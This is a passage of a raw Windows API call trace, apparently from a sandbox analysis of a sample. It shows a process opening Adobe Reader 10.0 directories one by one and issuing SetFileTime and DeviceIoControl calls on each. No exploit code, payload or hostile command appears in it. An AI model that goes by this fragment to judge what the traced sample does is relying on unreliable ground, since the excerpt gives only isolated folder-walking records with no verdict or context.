lpLastAccessTime=0x1a7f0d4, lpLastWriteTime=0x1a7f0d4) returned 0 [0146.071] DeviceIoControl (in: hDevice=0x1a0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1b33de8, nOutBufferSize=0x4000, lpBytesReturned=0x1a7f12c, lpOverlapped=0x0 | out: lpOutBuffer=0x1b33de8, lpBytesReturned=0x1a7f12c, lpOverlapped=0x0) returned 0 [0146.075] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\air"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a0 [0146.075] SetFileTime (hFile=0x1a0, lpCreationTime=0x0, lpLastAccessTime=0x1a7ee1c, lpLastWriteTime=0x1a7ee1c) returned 0 [0146.075] DeviceIoControl (in: hDevice=0x1a0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1b33de8, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0 | out: lpOutBuffer=0x1b33de8, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0) returned 0 [0146.079] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\browser"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x15c [0146.080] SetFileTime (hFile=0x15c, lpCreationTime=0x0, lpLastAccessTime=0x1a7ee1c, lpLastWriteTime=0x1a7ee1c) returned 0 [0146.080] DeviceIoControl (in: hDevice=0x15c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1b33de8, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0 | out: lpOutBuffer=0x1b33de8, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0) returned 0 [0146.084] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a0 [0146.084] SetFileTime (hFile=0x1a0, lpCreationTime=0x0, lpLastAccessTime=0x1a7ee1c, lpLastWriteTime=0x1a7ee1c) returned 0 [0146.085] DeviceIoControl (in: hDevice=0x1a0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1b33de8, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0 | out: lpOutBuffer=0x1b33de8, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0) returned 0 [0146.089] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CAT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\cat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a0 [0146.089] SetFileTime (hFile=0x1a0, lpCreationTime=0x0, lpLastAccessTime=0x1a7eb64, lpLastWriteTime=0x1a7eb64) returned 0 [0146.089] DeviceIoControl (in: hDevice=0x1a0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1b33de8, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ebbc, lpOverlapped=0x0 | out: lpOutBuffer=0x1b33de8, lpBytesReturned=0x1a7ebbc, lpOverlapped=0x0) returned 0 [0146.091] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CHS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\chs"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x198 [0146.092] SetFileTime (hFile=0x198, lpCreationTime=0x0, lpLastAccessTime=0x1a7eb64, lpLastWriteTime=0x1a7eb64) returned 0 [0146.092] DeviceIoControl (in: hDevice=0x198, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1b33de8, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ebbc, lpOverlapped=0x0 | out: lpOutBuffer=0x1b33de8, lpBytesReturned=0x1a7ebbc, lpOverlapped=0x0) returned 0 [0146.094] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CHT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\cht"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a0 [0146.095] SetFileTime (hFile=0x1a0, lpCreationTime=0x0, lpLastAccessTime=0x1a7eb64, lpLastWriteTime=0x1a7eb64) returned 0 [0146.095] DeviceIoControl (in: hDevice=0x1a0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1b33de8, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ebbc, lpOverlapped=0x0 | out: lpOutBuffer=0x1b33de8, lpBytesReturned=0x1a7ebbc, lpOverlapped=0x0) returned 0 [0146.097] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CZE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\cze"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x198 [0146.097] SetFileTime (hFile=0x198, lpCreationTime=0x0, lpLastAccessTime=0x1a7eb64, lpLastWriteTime=0x1a7eb64) returned 0 [0146.097] DeviceIoControl (in: hDevice=0x198, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1b33de8, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ebbc, lpOverlapped=0x0 | out: lpOutBuffer=0x1b33de8, lpBytesReturned=0x1a7ebbc, lpOverlapped=0x0) returned 0 [0146.100] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\DAN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\dan"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a0 [0146.100] SetFileTime (hFile=0x1a0, lpCreationTime=0x0, lpLastAccessTime=0x1a7eb64, lpLastWriteTime=0x1a7eb64) returned 0 [0146.100] DeviceIoControl (in: hDevice=0x1a0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1b33de8, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ebbc, lpOverlapped=0x0 | out: lpOutBuffer=0x1b33de8, lpBytesReturned=0x1a7ebbc, lpOverlapped=0x0) returned 0 [0146.102] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\DEU" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\deu"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x198 [0146.103] SetFileTime (hFile=0x198, lpCreationTime=0x0, lpLastAccessTime=0x1a7eb64, lpLastWriteTime=0x1a7eb64) returned 0 [0146.103] DeviceIoControl (in: hDevice=0x198, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1b33de8, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ebbc, lpOverlapped=0x0 | out: lpOutBuffer=0x1b33de8, lpBytesReturned=0x1a7ebbc, lpOverlapped=0x0) returned 0 [0146.105] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ENU" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\enu"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a0 [0146.105] SetFileTime (hFile=0x1a0, lpCreationTime=0x0, lpLastAccessTime=0x1a7eb64, lpLastWriteTime=0x1a7eb64) returned 0 [0146.106] DeviceIoControl (in: hDevice=0x1a0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1b33de8, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ebbc, lpOverlapped=0x0 | out: lpOutBuffer=0x1b33de8, lpBytesReturned=0x1a7ebbc, lpOverlapped=0x0) returned 0 [0146.108] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\esp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x198 [0146.108] SetFileTime (hFile=0x198, lpCreationTime=0x0, lpLastAccessTime=0x1a7eb64, lpLastWriteTime=0x1a7eb64) returned 0 [0146.108] DeviceIoControl (in: hDevice=0x198, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1b33de8, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ebbc, lpOverlapped=0x0 | out: lpOutBuffer=0x1b33de8, lpBytesReturned=0x1a7ebbc, lpOverlapped=0x0) returned 0 [0146.110] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\EUQ" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\euq"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a0 [0146.110] SetFileTime (hFile=0x1a0, lpCreationTime=0x0, lpLastAccessTime=0x1a7eb64, lpLastWriteTime=0x1a7eb64) returned 0 [0146.110] DeviceIoControl (in: hDevice=0x1a0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1b33de8, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ebbc, lpOverlapped=0x0 | out: lpOutBuffer=0x1b33de8, lpBytesReturned=0x1a7ebbc, lpOverlapped=0x0) returned 0 [0146.113] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\fra"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x198 [0146.113] SetFileTime (hFile=0x198, lpCreationTime=0x0, lpLastAccessTime=0x1a7eb64, lpLastWriteTime=0x1a7eb64) returned 0 [0146.113] DeviceIoControl (in: hDevice=0x198, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1b33de8, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ebbc, lpOverlapped=0x0 | out: lpOutBuffer=0x1b33de8, lpBytesReturned=0x1a7ebbc, lpOverlapped=0x0) returned 0 [0146.116] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\hrv"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a0 [0146.116] SetFileTime (hFile=0x1a0, lpCreationTime=0x0, lpLastAccessTime=0x1a7eb64, lpLastWriteTime=0x1a7eb64) returned 0 [0146.116] DeviceIoControl (in: hDevice=0x1a0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1b33de8, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ebbc, lpOverlapped=0x0 | out: lpOutBuffer=0x1b33de8, lpBytesReturned=0x1a7ebbc, lpOverlapped=0x0) returned 0 [0146.119] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\hun"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x198 [0146.119] SetFileTime (hFile=0x198, lpCreationTime=0x0, lpLastAccessTime=0x1a7eb64, lpLastWriteTime=0x1a7eb64) returned 0 [0146.119] DeviceIoControl (in: hDevice=0x198, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1b33de8, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ebbc, lpOverlapped=0x0 | out: lpOutBuffer=0x1b33de8, lpBytesReturned=0x1a7ebbc, lpOverlapped=0x0) returned 0 [0146.121] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\ita"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a0 [0146.121] SetFileTime (hFile=0x1a0, lpCreationTime=0x0, lpLastAccessTime=0x1a7eb64, lpLastWriteTime=0x1a7eb64) returned 0 [0146.121] DeviceIoControl (in: hDevice=0x1a0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1b33de8, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ebbc, lpOverlapped=0x0 | out: lpOutBuffer=0x1b33de8, lpBytesReturned=0x1a7ebbc, lpOverlapped=0x0) returned 0 [0146.124] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\jpn"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x198 [0146.124] SetFileTime (hFile=0x198, lpCreationTime=0x0, lpLastAccessTime=0x1a7eb64, lpLastWriteTime=0x1a7eb64) returned 0 [0146.124] DeviceIoControl (in: hDevice=0x198, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1b33de8, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ebbc, lpOverlapped=0x0 | out: lpOutBuffer=0x1b33de8, lpBytesReturned=0x1a7ebbc, lpOverlapped=0x0) returned 0 [0146.126] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\KOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\kor"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a0 [0146.127] SetFileTime (hFile=0x1a0, lpCreationTime=0x0, lpLastAccessTime=0x1a7eb64, lpLastWriteTime=0x1a7eb64) returned 0 [0146.127] DeviceIoControl (in: hDevice=0x1a0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1b33de8, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ebbc, lpOverlapped=0x0 | out: lpOutBuffer=0x1b33de8, lpBytesReturned=0x1a7ebbc, lpOverlapped=0x0) returned 0 [0146.130] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NLD" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\nld"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x198 [0146.130] SetFileTime (hFile=0x198, lpCreationTime=0x0, lpLastAccessTime=0x1a7eb64, lpLastWriteTime=0x1a7eb64) returned 0 [0146.130] DeviceIoControl (in: hDevice=0x198, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1b33de8, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ebbc, lpOverlapped=0x0 | out: lpOutBuffer=0x1b33de8, lpBytesReturned=0x1a7ebbc, lpOverlapped=0x0) returned 0 [0146.132] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\nor"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a0 [0146.132] SetFileTime (hFile=0x1a0, lpCreationTime=0x0, lpLastAccessTime=0x1a7eb64, lpLastWriteTime=0x1a7eb64) returned 0 [0146.132] DeviceIoControl (in: hDevice=0x1a0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1b33de8, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ebbc, lpOverlapped=0x0 | out: lpOutBuffer=0x1b33de8, lpBytesReturned=0x1a7ebbc, lpOverlapped=0x0) returned 0 [0146.134] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\POL" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\pol"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x198 [0146.135] SetFileTime (hFile=0x198, lpCreationTime=0x0, lpLastAccessTime=0x1a7eb64, lpLastWriteTime=0x1a7eb64) returned 0 [0146.135] DeviceIoControl (in: hDevice=0x198, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1b33de8, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ebbc, lpOverlapped=0x0 | out: lpOutBuffer=0x1b33de8, lpBytesReturned=0x1a7ebbc, lpOverlapped=0x0) returned 0 [0146.137] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\PTB" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\ptb"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a0 [0146.137] SetFileTime (hFile=0x1a0, lpCreationTime=0x0, lpLastAccessTime=0x1a7eb64, lpLastWriteTime=0x1a7eb64) returned 0 [0146.137] DeviceIoControl (in: hDevice=0x1a0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1b33de8, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ebbc, lpOverlapped=0x0 | out: lpOutBuffer=0x1b33de8, lpBytesReturned=0x1a7ebbc, lpOverlapped=0x0) returned 0 [0146.140] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUM" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\rum"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x198 [0146.140] SetFileTime (hFile=0x198, lpCreationTime=0x0, lpLastAccessTime=0x1a7eb64, lpLastWriteTime=0x1a7eb64) returned 0 [0146.140] DeviceIoControl (in: hDevice=0x198, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1b33de8, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ebbc, lpOverlapped=0x0 | out: lpOutBuffer=0x1b33de8, lpBytesReturned=0x1a7ebbc, lpOverlapped=0x0) returned 0 [0146.142] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\rus"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a0 [0146.142] SetFileTime (hFile=0x1a0, lpCreationTime=0x0, lpLastAccessTime=0x1a7eb64, lpLastWriteTime=0x1a7eb64) returned 0 [0146.142] DeviceIoControl (in: hDevice=0x1a0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1b33de8, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ebbc, lpOverlapped=0x0 | out: lpOutBuffer=0x1b33de8, lpBytesReturned=0x1a7ebbc, lpOverlapped=0x0) returned 0 [0146.146] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SKY" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\sky"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x198 [0146.147] SetFileTime (hFile=0x198, lpCreationTime=0x0, lpLastAccessTime=0x1a7eb64, lpLastWriteTime=0x1a7eb64) returned 0 [0146.147] DeviceIoControl (in: hDevice=0x198, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1b33de8, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ebbc, lpOverlapped=0x0 | out: lpOutBuffer=0x1b33de8, lpBytesReturned=0x1a7ebbc, lpOverlapped=0x0) returned 0 [0146.149] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\slv"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a0 [0146.150] SetFileTime (hFile=0x1a0, lpCreationTime=0x0, lpLastAccessTime=0x1a7eb64, lpLastWriteTime=0x1a7eb64) returned 0 [0146.150] DeviceIoControl (in: hDevice=0x1a0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1b33de8, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ebbc, lpOverlapped=0x0 | out: lpOutBuffer=0x1b33de8, lpBytesReturned=0x1a7ebbc, lpOverlapped=0x0) returned 0 [0146.152] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SUO" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\suo"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x198 [0146.152] SetFileTime (hFile=0x198, lpCreationTime=0x0, lpLastAccessTime=0x1a7eb64, lpLastWriteTime=0x1a7eb64) returned 0 [0146.152] DeviceIoControl (in: hDevice=0x198, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1b33de8, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ebbc, lpOverlapped=0x0 | out: lpOutBuffer=0x1b33de8, lpBytesReturned=0x1a7ebbc, lpOverlapped=0x0) returned 0 [0146.155] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SVE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\sve"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a0 [0146.155] SetFileTime (hFile=0x1a0, lpCreationTime=0x0, lpLastAccessTime=0x1a7eb64, lpLastWriteTime=0x1a7eb64) returned 0 [0146.155] DeviceIoControl (in: hDevice=0x1a0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1b33de8, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ebbc, lpOverlapped=0x0 | out: lpOutBuffer=0x1b33de8, lpBytesReturned=0x1a7ebbc, lpOverlapped=0x0) returned 0 [0146.157] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\TUR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\tur"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x198 [0146.158] SetFileTime (hFile=0x198, lpCreationTime=0x0, lpLastAccessTime=0x1a7eb64, lpLastWriteTime=0x1a7eb64) returned 0 [0146.158] DeviceIoControl (in: hDevice=0x198, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1b33de8, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ebbc, lpOverlapped=0x0 | out: lpOutBuffer=0x1b33de8, lpBytesReturned=0x1a7ebbc, lpOverlapped=0x0) returned 0 [0146.160] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\UKR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\ukr"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a0 [0146.160] SetFileTime (hFile=0x1a0, lpCreationTime=0x0, lpLastAccessTime=0x1a7eb64, lpLastWriteTime=0x1a7eb64) returned 0 [0146.160] DeviceIoControl (in: hDevice=0x1a0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1b33de8, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ebbc, lpOverlapped=0x0 | out: lpOutBuffer=0x1b33de8, lpBytesReturned=0x1a7ebbc, lpOverlapped=0x0) returned 0 [0146.162] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Javascripts" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\javascripts"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x15c [0146.163] SetFileTime (hFile=0x15c, lpCreationTime=0x0, lpLastAccessTime=0x1a7ee1c, lpLastWriteTime=0x1a7ee1c) returned 0 [0146.163] DeviceIoControl (in: hDevice=0x15c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1b33de8, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0 | out: lpOutBuffer=0x1b33de8, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0) returned 0 [0146.165] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x198 [0146.166] SetFileTime (hFile=0x198, lpCreationTime=0x0, lpLastAccessTime=0x1a7ee1c, lpLastWriteTime=0x1a7ee1c) returned 0 [0146.166] DeviceIoControl (in: hDevice=0x198, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, 